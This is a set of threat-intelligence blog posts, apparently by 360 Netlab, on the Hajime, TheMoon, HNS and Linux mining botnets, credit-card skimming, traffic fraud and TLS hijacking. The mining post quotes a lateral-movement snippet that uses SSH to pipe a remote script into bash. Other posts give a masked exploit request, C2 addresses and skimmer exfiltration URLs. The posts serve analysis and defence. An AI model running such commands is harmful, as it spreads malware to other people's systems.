kenshinx/netlab-blogs huggingface dataset:
8291端口告警事件简报

结论


本次8291扫描事件由更新后的Hajime僵尸网络引起，在新版本中，有两个新的特性：


 1. 利用对8291端口的扫描来确定存在'Chimay Red' Stack Clash Remote Code Execution漏洞MikroTik设备。
 2. 利用上述漏洞进行蠕虫传播。



起因


北京时间3月25日0点前后，互联网上8291端口出现大量扫描告警。





下午2点左右，蜜罐数据显示该告警可能和 Hajime 有关，初步判断（UPX壳特有幻数+脱壳后样本特征）后，确认该样本为Hajime样本。并在其atk模块中发现了“'Chimay Red' Stack Clash Remote Code Execution”漏洞相关攻击代码。





https://www.exploit-db.com/exploits/44283/




感染过程


更新后的Hajime除已有传播方式外还可以通过利用“'Chimay Red' Stack Clash Remote Code Execution”漏洞的方式进行蠕虫式传播，其传播过程大致分为两步：


 1. 找到符合利用条件的MikroTik设备：挑选方法为探测8291端口的开放情况，在这一步中还会顺便探测出设备web端口（80,81,82,8080,8081,8082,8089,8181,8880）的开放情况，为后面漏洞利用做好铺垫。
 2. 检查设备的版本号并发送Exploit，一旦漏洞成功触发便会执行随Exploit携带的Shellcode片段，该片段的具体功能就是获取Hajime母体并执行。






扫描源规模


截止本日中午（北京时间2018-03-27 12:36），从darknet中共看到861,131个扫描源IP（72小时内）。并试图从这样的一个视角评估当前网络上整体情况。


我们认为，互联网中目前至少有860k 个IP（不排除由于设备重启等情况导致的一个设备对应多个IP的可能，同时也会有一些噪音比如安全人员的IP等）正在对 8291 端口发起扫描，它们很大概率已被Hajime感染，可能是从（'Chimay Red' Stack Clash Remote Code Execution）漏洞攻陷的，也可能是通过其他方式（参考我们上一篇关于Hajime的分析报告）被攻陷的。



扫描源分布





从上图不难发现扫描源的前三甲分别为：巴西（585k），伊朗（51.8k），俄罗斯（26.4k）。



修复方案


 1. 防火墙侧屏蔽 8291 端口探测。
 2. MikroTik已发布更新，将已有MikroTik升级到最新版本。



IOC


06B4D50254C6C112437A3ED893EF40B4 .i.mipseb

93A1A080FCDE07E512E7485C92861B69 atk.mipseb

fc834c015b357c687477cb9116531de7 atk.mipseb.upx.unpack



参考


 1. https://scan.netlab.360.com/#/dashboard?tsbeg=1521648000000&tsend=1522252800000&dstport=8291&toplistname=srcip&topn=10&sortby=sum
 2. https://forum.mikrotik.com/viewtopic.php?f=2&t=132368&sid=7f731eb96b119d6e9e1a90227270fdd4
 3. https://www.exploit-db.com/exploits/44283/
 4. https://blog.netlab.360.com/hajime-status-report/
 5. https://blog.netlab.360.com/hajime-status-report-en/
Quick summary about the Port 8291 scan

Summary


This 8291 scan event is caused by a Hajime botnet variant. Compared to the old Hajime, this one adds two new features:


 1. Check port 8291 to determine if the target is a MikroTik device
 2. Use ‘Chimay Red’ Stack Clash Remote Code Execution Loophole vulnerabilities to infect and spread.


For more details about the Hajime, please check our previous blog here



The sharp scan increase


At around 0:00 on March 25, Beijing time, our Scanmon system suggested a large number of scan activity is happening on port 8291 on a global scale.





Around 2 pm, our honeypot data indicated this sudden spike was related to Hajime. Our preliminary conclusion based on its UPX_MAGIC_LE32 and some sample features confirmed that the sample is Hajime based. And we found the ‘Chimay Red’ Stack Clash Remote Code Execution” vulnerability related attack code in their atk module.





https://www.exploit-db.com/exploits/44283/




Infection process


This Hajime variant adds a support of using “‘Chimay Red’ Stack Clash Remote Code “Execution” to perform worm-like spreading, and its propagation process is roughly divided into two steps:


 1. Find a MikroTik device by checking if the target port is open on port 8291, if this port is open,the other common web ports (80,81,82,8080,8081,8082,8089,8181,8880) will be probed next.
 2. Check the version number of the device and send the Exploit which carried the Shellcode. Once the vulnerability is successfully exploited, Hajime will be downloaded and executed.






Number of unique ips


From 2018-03-25 00:00 to 2018-03-27 12:36(GMT+8), We logged a total of 861,131 unique scan source IPs (72 Hours).(Please bear in mind that device may change ip due to device reboot etc and it does not necessary mean all these devices are MikroTik devices as all the Hajime bots will perform this task as long as they have the most recent version of Hajime code running. Also naturally there will be some noises such as researcher ips in it)



Scan Source Distribution





From the above figure, it is not difficult to find the top three sources of the scan source are: Brazil (585k), Iran (51.8k), Russia (26.4k).



Mitigation


 1. block unnecessary 8291 port request
 2. Update to the latest version from MikroTik.


We will continue to monitor this activity, if readers have new discoveries, feel free to contact us on our twitter.



IOC


06B4D50254C6C112437A3ED893EF40B4 .i.mipseb

93A1A080FCDE07E512E7485C92861B69 atk.mipseb

fc834c015b357c687477cb9116531de7 atk.mipseb.upx.unpack



Refer


 1. https://scan.netlab.360.com/#/dashboard?tsbeg=1521648000000&tsend=1522252800000&dstport=8291&toplistname=srcip&topn=10&sortby=sum
 2. https://forum.mikrotik.com/viewtopic.php?f=2&t=132368&sid=7f731eb96b119d6e9e1a90227270fdd4
 3. https://www.exploit-db.com/exploits/44283/
 4. https://blog.netlab.360.com/hajime-status-report/
 5. https://blog.netlab.360.com/hajime-status-report-en/
 6. 
    
    
     https://twitter.com/360Netlab
RSA大会 '2018，360Netlab的威胁情报服务

RSA大会'2018 即将在4月16日至19日期间在美国旧金山Moscone中心举办。在今年的这次大会上，360Netlab将首次集中展示威胁情报服务能力。您可以在 这里 观看介绍视频，记得可能需要手动调到1080P。您也可以试用在线系统，包括 DDoSMon 和ScanMon 。


DDoSMon、ScanMon和DNSMon，是360Netlab本次展示威胁情报服务能力的三个主要组成部分。三者分别提供拒绝服务、网络扫描、域名异常的监控能力，应对全球网络流量实时处理。


 * DNSMon是2018年新推出的能力。在DNSMon里面，我们实时的分析海量的DNS流量，并对流量中的各种异常和关联关系予以分析，从而发现大网流行的恶意代码行为。另一方面，DNSMon将我们指向未知威胁发现领域，我们期待在这个领域内作出更多成果。DNSMon相关已经公开的成功案例，包括之前公布的“偷电”系列分析文章。
 * ScanMon早先在2016年ISC和2017 RSAC大会上两次公布。利用ScanMon，我们可以第一时间感知网络扫描行为，并方便有效的识别对应的攻击者。例如，360网络安全研究院在针对 mirai 僵尸网络出现、发展、新变种的持续跟踪中，就大量借助了 ScanMon 的能力。
 * DDoSMon最早于2016年RSAC大会公布。利用DDoSMon，我们可以实时的感知大量的DDoS攻击行为、受害者，有时我们也能感知到对应的发起DDoS攻击的僵尸网络。我们基于DDoSMon发布了一系列相关分析文章。若干互联网重要公司使用了我们的DDoSMon服务来帮助监控自身网络遭受攻击的情况。


360Netlab的研究员同事会在360展台，如果您有兴趣与他交流，欢迎前来。地点在展厅南区#1233
GPON Exploit in the Wild (IV) - TheMoon Botnet Join in with a 0day(?)

This article was co-authored by Hui Wang, Rootkiter and Yegenshen.


It looks like this GPON party will never end. We just found TheMoon botnet has join the party.


TheMoon botnet has been discussed in our previous article, in Chinese. Its activity can be seen as early as in 2014, and since 2017 it has merged at least 6 IoT device exploits into it's code. Now it comes to GPON home router.


A very special thing about this round is the attacking payload. It is different from all previous ones, so it looks like a 0day. And we tested this payload on two different versions of GPON home router, all work. All these make TheMoon totally different, and we chose NOT to disclose the attack payload details.


The features about this round of TheMoon:


 * Scanner IP: 177.141.64.108 Brazil/BR São Paulo "AS28573 CLARO S.A."
 * Scanning Port：80 ，8080，81，82，8888, with the GPON scan only on port 80
 * Download Server: domstates.su
 * C2 Server:
   
   * 91.215.158.118 Netherlands/NL Amsterdam "AS60144 3W Infra B.V."
   * 149.202.211.227 France/FR Fontenay-sous-Bois "AS16276 OVH SAS"
   * 208.110.66.34 United States/US Kansas City "AS32097 WholeSale Internet, Inc."
   * 173.208.219.42 United States/US Kansas City "AS32097 WholeSale Internet, Inc."
   


The download server is the same to the one in our previous blog. This is why we attribute this round of attack to TheMoon botnet.


Attacking Payload (masked):


POST /--------/--------?---------/ HTTP/1.1  
Accept: */*  
Host: {}  
User-Agent: Wget(linux)  
Content-Length: 287  
Content-Type: application/x-www-form-urlencoded  
-------------------------------------------------------------
hxxp://domstates.su/gpon.sh  



The character of TheMoon botnet can be summarized in the following json:


"nttpd,1-mips-be-t3-z":{
       "proto"   :"TCP",
       "version" :1,
       "regkey"  :0xB8,                            # previous 0xb7
       "specific":0x6D61641D,                      # previous 0x6D61641C
       "regport" :5784,                            # previous 5783
       "ccport"  :5184,                            # previous 5183
       "dwlport" :4584,                            # previous 4583
       "peerlist":[
           "91.215.158.118", # 0x5BD79E76          # C2, not changed
           "149.202.211.227",# 0x95CAD3E3          # C2, not changed
           "208.110.66.34",  # 0xD06E4222          # C2, not changed
           "173.208.219.42", # 0xADD0DB2A          # C2, not changed
       ]  
   }



IoC


Downloading URL


md5=17fb1bfae44a9008a4c9b4bdc6b327bd    url=hxxp://domstates.su/.nttpd,1-mips-be-t3-z  
md5=299919e8a5b4c8592db0c47207935b69    url=hxxp://domstates.su/gpon.sh  



C2


91.215.158.118 Netherlands/NL Amsterdam	"AS60144 3W Infra B.V."
149.202.211.227 France/FR Fontenay-sous-Bois	"AS16276 OVH SAS"
208.110.66.34 United States/US Kansas City	"AS32097 WholeSale Internet, Inc."
173.208.219.42 United States/US Kansas City	"AS32097 WholeSale Internet, Inc."



Scanner IP


177.141.64.108 Brazil/BR São Paulo	"AS28573 CLARO S.A."
威胁快讯：一次僵尸挖矿威胁分析

友商发布了一个威胁分析 报告，我们阐述一下从我们的角度看到的情况。


核心样本


hxxp://120.55.54.65/a7



核心样本是个 Linux Shell 文件，后续动作均由该样本完成，包括：


 * 挖矿获利
 * 确保资源
 * 逃避检测
 * 横向扩展


挖矿获利


具体的挖矿动作是由下面一组样本完成的：


 * hxxps://www.aybc.so/ubuntu.tar.gz
 * hxxps://www.aybc.so/debian.tar.gz
 * hxxps://www.aybc.so/cent.tar.gz


样本中的挖矿配置如下：


 * 矿池地址：xmr-asia1.nanopool.org:14433
 * 钱包地址：42im1KxfTw2Sxa716eKkQAcJpS6cwqkGaHHGnnUAcdDhG2NJhqEF1nNRwjkBsYDJQtDkLCTPehfDC4zjMy5hefT81Xk2h7V.v7


查矿池给付记录可知：


 * 累计收益：52.403617565491 XMR
 * 当前算力：114,030.0 H/s
 * 开始时间：2018-02-28 14:30:03
 * 最近给付时间：2018-06-26 05:35:36


确保资源


核心模块中为了确保挖矿资源，采取了若干对抗动作，包括：


 * 杀进程：杀掉了其他挖矿进程运行，进程关键字包括 xig, cranbery, xmr,stratum,minerd
 * 设防火墙规则：为防止竞争者DDG僵尸网络的矿机下载，屏蔽IP地址 165.225.157.157
 * 调整hosts：屏蔽了若干矿池，包括 yiluzhuanqian, f2pool, minexmr 等等


逃避检测


核心模块采取了若干动作对抗检测，包括：


 * 调整文件时间，逃避 find 检索。使用 /etc/sudoers 文件的时间来对齐自身关键文件时间
 * 隐藏进程：调用 libprocesshider ，来自github 上 gianlucaborello 的 libprocesshider项目
 * 调整 ld.so.preload：按照友商的说法是隐藏进程
 * 调整dns服务器：防止被从dns流量中分析出来，将本地DNS服务器设为 8.8.8.8 和 1.1.1.1
 * 对抗阿里云、云镜：调用 aliyun、yunjing的uninstall脚本
 * 删除日志和邮件：删除文件包括 /var/log/cron /var/spool/mail/root /var/mail/root


横向扩展


检查本地 ssh 凭证，尝试进一步横向扩展，继续投递核心模块 a7


if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o-  hxxp://120.55.54.65/a7 | bash >/dev/null 2>&1 &' & done
fi



IoC


主要模块


hxxp://120.55.54.65/a7	 AS37963 Hangzhou Alibaba Advertising Co.,Ltd.



挖矿程序


hxxps://www.aybc.so/ubuntu.tar.gz	
hxxps://www.aybc.so/debian.tar.gz	
hxxps://www.aybc.so/cent.tar.gz
HNS Botnet 最近活动更新

作者：Rootkiter, yegenshen


HNS 僵尸网络（Hide and Seek） 是最初由 BitDefender 于今年 1月 报告 的一个IoT僵尸网络。在那份报告中研究人员指出，HNS 会利用CVE-2016-10401、其他漏洞以及Telnet弱口令投入恶意代码，有执行任意指令和盗取用户信息的恶意行为，传播方式类似蠕虫，感染规模在1月23日至1月24期间快速增长到超过32k。并且，HNS内部通过P2P 机制通信，这是我们所知继 hajime之后第二个利用P2P通信的IoT僵尸网络。


P2P类的僵尸网络很难被根除，HNS 僵尸网络也是如此。在过去的几个月中 HNS 僵尸网络一直在持续更新，我们看到其更新活动包括：


 * 增加了对 AVTECH全部设备（网络摄像头、网络录像设备）、CISCO Linksys路由器、JAWS/1.0 Web服务器、Apache CouchDB、OrientDB的漏洞利用；加上原始报告中提到的2种，目前HNS已经支持7种漏洞利用方式；
 * 内置的P2P节点地址增加到了171 条；
 * 另外，我们观察到HNS 僵尸网络增加了 cpuminer 挖矿程序的下载，但是尚未观察到其正常运行。结合HNS在针对couchDB和OrientDB，给人感觉 HNS 僵尸网络的作者正在工作，以谋求通过挖矿获利。


特别值得一提的是，随着失陷的 OrientDB 和 CouchDB 数据库服务器加入其僵尸军团，HNS已经不再仅仅是 IoT 僵尸网络，而是一个跨平台的僵尸网络了。


核心样本


我们分析了以下样本：


c1816d141321276cd4621abcd280ee40    #hns x86
0770ff1a6e90eb5d083c16452e45abd5    #hns arm
30ebaaeb61a4ecae3ade7d1d4e5c7adb    #hns_miner



网络扫描和漏洞利用


HNS 僵尸网络通过网络扫描寻找潜在受害者。HNS在扫描过程中借鉴了Mirai的扫描机制，也共享了mirai僵尸网络的一些扫描特点。


扫描的目标端口包括：固定的 80/8080/2480/5984/23，以及随机端口。





这些端口上常见运行的服务是：


23    Telnet
80    HTTP Web Service
2480  OrientDB
5984  CouchDB
8080  HTTP Web Service
RandomPort   NA



在上述端口上，HNS会尝试利用下面的漏洞利用将其自身投入。其中 1 和 2 是最初BitDefender报告中提及的，其它的利用均为HNS后续增加：


 1. TPLink-Routers RCE
 2. Netgear RCE
 3. 新增：AVTECH RCE
 4. 新增：CISCO Linksys Router RCE
 5. 新增：JAW/1.0 RCE
 6. 新增：OrientDB RCE
 7. 新增：CouchDB RCE


171个内置的P2P节点


作为P2P 型僵尸网络，HNS获取通信对端节点的方式下面 3 种。其中第 2、3 两项在 bitdefender 的文章中已经有介绍。


 1. 样本内置：内置了 171 个对端节点信息；
 2. 运行参数传递；
 3. 询问对端节点；


上述 171个节点，在 HNS 的上线和交互过程中均会参与。


上线过程


HNS 无参数启动后会出现大量的 UDP 上线请求包。观察这些请求包的目标IP地址可知，大部分是随机生成的，少量是由内置节点列表决定的。样本中内置节点的部分信息如下图所示，全部171个节点的信息见 IoC 部分。





交互过程


HNS 在节点之间的交互过程中有以下特征：


 * HNS 的上线包是一个长度和内容均随机的 UDP 请求包，这个包特征并不明显。明显的点在
   
   于上游节点的回包是一个长度为 2 且首字节为大写字母’O’的回包。另外回包的第二字节，其实是从请求包计算出的一个校验值，所以该方法也可用于 HNS 感染判定。详细校验算法见附录。
 * HNS 在加入 P2P 网络后，需要较频繁的进行地址同步操作，以确保不会出现节点走失的情况。
   
   这个同步操作具有较强的网络特征。首先，下游节点会向上游节点发送一个长度 1 内容为“~”的请求包，随后上游节点会回复一个长度为 8 首字母为“^”的回包。
 * HNS 在指令获取及文件获取过程中，会出现大量的交互数据包。请求包长度 69 首字母“y”，
   
   回复包（满载拆包分发状态）长度 261 首字母“Y”。


服务请求包的回包算法如下，基于 python 2.7


当发送如下请求包时：


data_pointer = "5b 02 d7 ff 52 02 61 e9 a5 7e 0b 07 c5 43 5b".replace("","").decode('hex')



上游节点的回包应为：


ack="4f b6".replace(" ","").decode('hex')



其中 chr(0x4f) 固定，chr(0xb6)的计算方法如下:


def calc_crc(data_pointer):
    data_len_1 = len(data_pointer)-1
    tmp = 88
    for i in range(0,data_len_1):
        tmp += ord(data_pointer[i])
        tmp = tmp &0xff
    tmp2 = tmp^0x3d
    print hex(tmp2),hex(ord(data_pointer[data_len_1]))
    if(tmp2 == ord(data_pointer[data_len_1])):
        return (2*tmp2&0xfe)
    return -1;



联系我们


感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。


IoC


Malware Sample md5


c1816d141321276cd4621abcd280ee40    #hns x86
0770ff1a6e90eb5d083c16452e45abd5    #hns arm
30ebaaeb61a4ecae3ade7d1d4e5c7adb    #hns_miner



All 171 hard coded P2P peer address list is here.
批量的ICP备案域名

异常发现


在360netlab的DNSMon系统中，最近发现一批非常奇特的域名。所谓奇特是指其域名格式较为统一，同时ICP备案的名称则为汉语中的 成语 + 网 构成，并且注册的公司主题都是太原的某些公司，不出意外，备案号都是 晋ICP备 开头的备案号。一批例子如下：


 * rxnmwbj.cn 骑牛读汉书网 太原博睿创辉文化传媒有限公司 晋ICP备18012039号
 * actxpbe.cn 藏龙卧虎网 太原三开商贸有限公司 晋ICP备18012107号
 * frnzcpb.cn 鞠躬尽瘁网 太原三开商贸有限公司 晋ICP备18012107号
 * iowxpaf.cn 狡兔三窟网 太原市仁邦商贸有限公司 晋ICP备18012110号
 * tcmekjz.cn 走马观花网 太原三开商贸有限公司 晋ICP备18012107号
 * nmfztug.cn 放荡不羁网 太原市仁邦商贸有限公司 晋ICP备18012110号
 * hrjwmgb.cn 络绎不绝网 太原三开商贸有限公司 晋ICP备18012107号
 * coidkax.cn 江郎才尽网 太原市仁邦商贸有限公司 晋ICP备18012110号
 * dibyngo.cn 自相矛盾网 太原市仁邦商贸有限公司 晋ICP备18012110
 * yorcfdk.cn 霜凋夏緑网 太原市天际达商贸有限公司 晋ICP备18011972号
 * kgoazwi.cn 一马当先网 太原市仁邦商贸有限公司 晋ICP备18012110号
 * cthywqa.cn 骇人听闻网 太原市仁邦商贸有限公司 晋ICP备18012110号
 * jtfhigz.cn 人山人海网 太原市仁邦商贸有限公司 晋ICP备18012110号
 * qoczalt.cn 兢兢业业网 太原三开商贸有限公司 晋ICP备18012107号
 * cqwuzeh.cn 自相矛盾网 太原市仁邦商贸有限公司 晋ICP备18012110号
 * gqhfxwk.cn 藏龙卧虎网 太原三开商贸有限公司 晋ICP备18012107号
 * nyujdoa.cn 藏龙卧虎网 太原三开商贸有限公司 晋ICP备18012107号
 * kmnoigu.cn 毛骨悚然网 太原市仁邦商贸有限公司 晋ICP备18012110号
 * tecldku.cn 油干灯草尽网 太原博睿创辉文化传媒有限公司 晋ICP备18012039号


看到这批数据之后，尤其是那些千奇百怪的网站名称以及较为固定的ICP备案主体，我认为这个有意思的现象并不是偶然，也许在现存的备案过程中存在某些漏洞能够让大规模的批量ICP备案成为可能。而网站ICP备案的目的是 为了防止在网上从事非法的网站经营活动，打击不良互联网信息的传播[1]。如果大规模的批量ICP备案成为可能，那么ICP备案的初衷也就无法实现了。


基于此，我对DNSMon中的备案数据进行了一些研究。有了本文。



数据统计


首先我们对DNSMon中检测到的备案数据进行统计分析。



时间趋势


《非经营性互联网信息服务备案管理办法》于2005年3月20日起施行[1]。我们统计了从2005年4月开始的每个月的备案域名数。如下图所示。



可以看出：2018年11月之后，ICP备案的审核数量急剧增长，一个月之内的新审核的域名数量就远远超过了之前每月的审核域名数量，甚至超过了2014年之前的全年的审核总量。

这种急剧的增长显然不能用网络繁荣导致的自然增长来解释。需要进一步仔细研究。



分省统计


考虑到我们观察的到的异常情况，有必要对各个省的ICP备案数量进行分省单独统计。如下图所示，TOP5的省份里面最多的是广东省的ICP备案数接近101万，也是唯一一个超过100万域名的省份。出乎意料的是山西省的备案数据超过了上海，浙江等经济强省。而之前观察到的异常备案数据就来自晋，这也许并非巧合。



进一步，我们统计了TOP8省份从2005年4月开始的每个月的ICP备案域名数。这次情况就比较明朗了。与总体的数据一致，山西省的ICP备案域名从从2018年11月开始飙增。2018年12月份达到了24.8万，2019年1月份的ICP备案域名数量（截止到2019年1月14日）已经达到了17.3万，远超其他省份的ICP备案数据数量。

另外一个值得注意的一点是，虽然没有山西省的ICP备案增长快，但是湖北省的ICP备案数量从2018年9月份开始也有较快幅度的增长，同样在11、12月达到巅峰，并且在2019年1月仍在持续增长中。




接下来我们看一下这种批量备案ICP域名的具体情况。



批量备案的整体情况


经过研究，我们发现这种批量ICP备案的域名在注册时，使用的单位名称较为固定，而具体的域名则比较随机。我们以此为特征，对DNSMon中出现的域名进行了筛选。共筛选到大约74万批量备案的域名（截止到2019-01-14），约占总备案域名数的10%。涉及的省份除了山西绝对大头之外，还有湖北，江西，海南等其余20个省份。具体分布如下：





批量备案的主体信息


每个备案主体批量备案的域名数量（>100）的分布如下：



可见，绝大多数的批量主体注册量在100～200之间，22%的实体备案的域名个数在500个以上，考虑到其总共备案的域名个数占备案域名数的6%以上，这个比例还是非常惊人的。



批量备案域名的whois


在批量备案域名方面，我们好奇这些批量备案的域名是否来自做域名生意的米农。毕竟有备案的域名对米农来说是非常有竞争力的。经过我们的数据分析，可以确认这些批量ICP备案的域名的确来自米农。


出于说明问题的目的，我们仅挑选了一个我们看到的最大的域名注册邮箱进行分析。域名注册邮箱为baym@foxmail.com，总共注册了491177，备案了49459个域名，约占10.07%。


备案主体


涉及的备案主体个数226个，其中TOP20的备案主体和备案域名个数如下表




备案省份


baym@foxmail.com注册的域名备案的省份达11个，每个省所占的比例如下图：




备案时间


最早的批量备案的审核时间可以追溯至2018年2月，最晚的在2019年1月。具体如下图所示：





批量备案域名的业务是什么


通过DNSMon系统的分析，这些域名绝大多数都集中在导流，色情，广告，钓鱼等黑色和灰色业务上，具体业务分布如下图所示：


（这部分准确的数据需要跑mapreduce进行统计。。。）



结语


问题到这里已经相对比较清楚了，正是由于ICP备案过程中存在的一些漏洞，导致某些操作者能够批量的通过ICP备案来注册域名。并且这种批量的备案是全国普遍性的存在，在山西省表现最为明显。经过批量ICP备案的域名后续的用途则甚为广泛。经过备案的域名的利用价值也必然要比未经备案的域名价值要高。正是由于该漏洞的存在也使得备案这个机制近乎名存实亡。我们希望相关机构能够迅速的补上这个漏洞，减少由此带来的风险。



参考资料


【1】https://baike.so.com/doc/5327441-5562613.html
利用评论系统来刷流量的案例分析

缘起


360netlab的DNSMon在其自动阻断系统中发现了一个奇怪的域名，URL是一个图片链接，访问这个链接的时候，会跳转到特定的网站，并且带有特定的看起来是标识来源的ID。



经过分析，这套自动化的刷广告来源于现在较少关注的网站评论系统。

目前的数据中发现涉及的评论系统包括 搜狐畅言，网易跟帖系统，爱奇艺，360的评论等较为流行的评论系统。

值得一提的是由于搜狐的畅言评论系统被广泛的使用，所以影响的范围除了上述一个大站之外，有很多使用畅言评论系统的网站也会受到影响。



刷流量的流程


整个流程大同小异，我们以网易评论系统为例看下整个流程：


 1. 一般会选择比较热门的新闻进行评论。评论使用的头像是一个伪造img0.ph.126.net图床的域名img0.ph-126.net。
    
    
 2. 访问 img0.ph-126.net 之后，是一个302跳转，跳转到 gwylxzj.cn, 链接仍然是一个jpg结尾的URL。gwylxzj.cn是新起的一个域名（从PDNS数据看，从2019.04.30开始生效），其的作用和前面提到的daheit.cc的作用完全相同，他们使用了相同的IP地址，URL也一样。
    
    
 3. 继续访问gwylxzj.cn之后，又一个302跳转，最终跳转到目标站，这次访问的携程网。可以清楚的看到URL中，携带了AllianceID，sid和app等信息。
    
    


从IP的层面来看，gwylxzj.cn与daheit.cc具有完全相同的IP地址



从DNS流量图上，能够非常明显的看到两者前赴后继的继承关系





不同域名之间的关联


在不同的评论系统之间使用不同的域名，并且使用的域名和所在的评论系统有近似的名称。那么他们使用的域名本身有没有关联呢？答案是有的。下面我们从web页面的内容和基础设施两方面来看。


web内容关联


页面均返回hello world




基础设施关联


除了在web页面上近似完全相同之外，其使用的IP地址也有极强的关联。其中有一个关键的IP 122.114.197.181 将两组grop关联了起来（*.taobao90.cn 簇以及 *.weyi.cc 簇）




除了在IP层面，我们注意到这一组域名中，有些域名启用了HTTPS加密，在证书层面，他们并没有共用证书或者公用公钥。我们weyi.cc, ph-126.net和 ie3.cc 这个三个域名的证书都是Let's encrypt签发的，并且其证书生效时间前后相差不到一分钟。




结合上面的关联，可以看出，这应该是同一伙儿人操作。



IoC


www.daheit.cc

www.taobao90.cn

gwylxzj.cn

www.youdiangui.net

wwww-qiyipic.com

img1.ph-126.net

z.jiaoqing.wang

img.haochali.cc

d.jiaoqing.wang

www.ie3.cc

www.weyi.cc

p4.qhimg.com.weyi.cc

p4.ssl.qhimg.com.ie3.cc

y0.cn/ie3c
信用卡数据泄漏持续进行中 [快速更新]







DNSMon是一个全网DNS异常发现分析系统。基于我们可以看到的中国地区 10%+ 的DNS流量，加上我们多年积累的其他多维度安全数据以及安全分析能力，我们可以在一个独特的视角来实时监测 全网 每天 正在发生 的事情，我们可以 “看见” 正在发生的威胁。





黑客在行动


5月8号，我们发布文章 <信用卡数据泄漏持续进行中>，揭露了一个通过入侵购物网站来窃取信用卡信息的案例。文章发布后不久，我们发现黑客们开始做调整，原始域名 magento-analytics[.]com 已经下线。


但不久，我们的 DNSMon 系统在UTC时间 2019-05-13 凌晨时候捕捉到该黑客的2个更新，被用于同样的信用卡信息窃取。



更新1: 启动了一个新域名：jqueryextd[.]at


对应的恶意JS链接为 “hxxps://jqueryextd.at/5c21f3dbf01e0.js”，脚本中上报地址也对应的改为了“hxxps://jqueryextd.at/gate.php"






更新2: 换了JS加载方式：从挂载JS链接改为内嵌JS代码


之前的案例中，都是通过外链一个恶意JS脚本来执行恶意脚本，现在发现黑客直接将恶意脚本JS的内容内嵌到网站代码中来执行。






另外一个黑客：代码混淆 & 新上报地址


于此同时，我们还发现了另外一个黑客的行动迹象。该黑客从今年2月初开始活动，最开始使用的外链 JS 脚本地址是 "hxxp://adwordstraffic.link/onestepcheckoutccpayment.js"[1], 同时对应上报地址为 "hxxps://adwordstraffic.link/validation/" 。从JS代码来看，和前述的 magento-analytics[.]com/jqueryextd[.]at 如出一辙，但是域名以及IP都和前述黑客所用不同，所以我们怀疑这可能是另外一个控制者。


adwordstraffic.link    A    89.32.251.136    #GEO:Iran



最近几天，该黑客所使用的域名也已经停止解析，他们开始将恶意JS代码混淆，直接嵌入受害者网站代码中，同时将上报地址也改为了裸IP的方式 "hxxp://89.32.251.136/validation/"。






当前新方式感染网站列表


InfectedWebSite           Method       ReportAddress
-----------------------------------------------------------------------
vezabands.com             Linked_JS    "https://jqueryextd.at/gate.php"
cigarhumidors-online.com  Embeded_JS   "https://jqueryextd.at/gate.php"
decabana.com              Embeded_JS   "https://jqueryextd.at/gate.php"
omejo.com                 Embeded_JS   "https://jqueryextd.at/gate.php"
backyardmas.com           Embeded_JS   "https://jqueryextd.at/gate.php"  [removed]
luxerwatches.ca           Embeded_JS   "http://89.32.251.136/validation/"
luxerwatches.com          Embeded_JS   "http://89.32.251.136/validation/"
bragardusa.com            Embeded_JS   "http://89.32.251.136/validation/"
ecompressedair.com        Embeded_JS   "http://89.32.251.136/validation/"
flatiron-wines.com        Embeded_JS   "http://89.32.251.136/validation/"
thalgousa.com             Embeded_JS   "http://89.32.251.136/validation/"




后续


针对该案例，我们不再公开我们的跟踪技术，但我们的 DNSMon 有能力持续跟踪，且仍将持续跟踪。






 1. 域名已经失效，截止到5.14号，原始JS仍可以通过裸IP的方式获取" https://89.32.251.136/onestepcheckoutauthorizenet.js" ↩︎
一些网站https证书出现问题的情况分析

[20200328 17:00 更新] 更新数据到20200328 16:00.

20200326下午，有消息说[1]github的TLS证书出现了错误告警。证书的结构很奇怪，在其签发者信息中有一个奇怪的email地址：346608453@qq.com。明显是一个伪造的证书。

为了弄清楚其中的情况，我们对这一事件进行了分析。


DNS劫持？

出现证书和域名不匹配的最常见的一种情况是DNS劫持，即所访问域名的IP地址和真实建立连接的IP并不相同。

以被劫持的域名go-acme.github.io为例，我们的passiveDNS库中该域名的IP地址主要使用如下四个托管在fastly上的IP地址，可以看到其数据非常干净。

对该域名直接进行连接测试，可以看到，TCP连接的目的地址正是185.199.111.153，但其返回的证书却是错误的证书。因此github证书错误的问题并不是在DNS层面出现问题。


劫持如何发生的？

为了搞清楚这个问题，可以通过抓取链路上的数据包来进行分析。为了有较好的对比性，我们先后抓取了443端口和80端口的数据。如下图

左边的数据包为https连接，右边的数据包为http连接。可以看到https的服务器应答TTL为53，http的则为44。一般来说，在时间接近的情况下，连接相同的目标IP，数据包在链路上的路径是是近似的。https的TTL显著的大于http的TTL，看起来很有可能是在链路上存在劫持。

有意思的是 在https后续的连接中其TTL值并不稳定，比如在响应证书的数据包中，其TTL变成了47，介于44和53之间，更接近于http链路的情况。作为对比，http的后续数据包的TTL值则一直稳定在44。

[20200327 23:00 更新] 在数据包内容方面，另一个值得关注的点是：被劫持的会话数据包(https)全部回包的IPID都是0.  正常数据包(http)首次回包IPID是0，之后的回包就不是了。

这是两个有意思的现象。

因此，结合https会话过程中TTL值和IPID的异常，我们猜测是在链路上发生了劫持。


证书是怎么回事？

事实上，从我们DNSMon系统的证书信息来看，这个证书（9e0d4d8b078d7df0da18efc23517911447b5ee8c）的入库时间在20200323早上六点。考虑到数据分析的时延，其开始在大网上使用最晚可以追溯到20200322。

同时可以看到，这个证书在证书链上的父证书（03346f4c61e7b5120e5db4a7bbbf1a3558358562）是一个自签名的证书，并且两者使用相同的签发者信息。


受影响的域名及时间

从上图中可以看到，该证书的影响不仅仅在github，实际上范围非常大。通过DNSMon系统，我们提取出了受影响的域名共 15462个。

通过DNSMon系统查看这些域名的流行度，在TOP1000的域名中，有40个域名受影响，列表如下：

1 www.jd.com

5 www.baidu.com

10 www.google.com

37 www.sina.com

44 www.163.com

51 www.douyu.com

62 www.suning.com

86 www.pconline.com.cn

91 sp1.baidu.com

126 twitter.com

137 www.eastmoney.com

143 mini.eastday.com

158 sp0.baidu.com

174 www.jianshu.com

177 www.mgtv.com

185 www.zhihu.com

232 www.toutiao.com

241 price.pcauto.com.cn

271 www.google.com.hk

272 video.sina.com.cn

299 www.youtube.com

302 www.acfun.cn

365 www.vip.com

421 news.ifeng.com

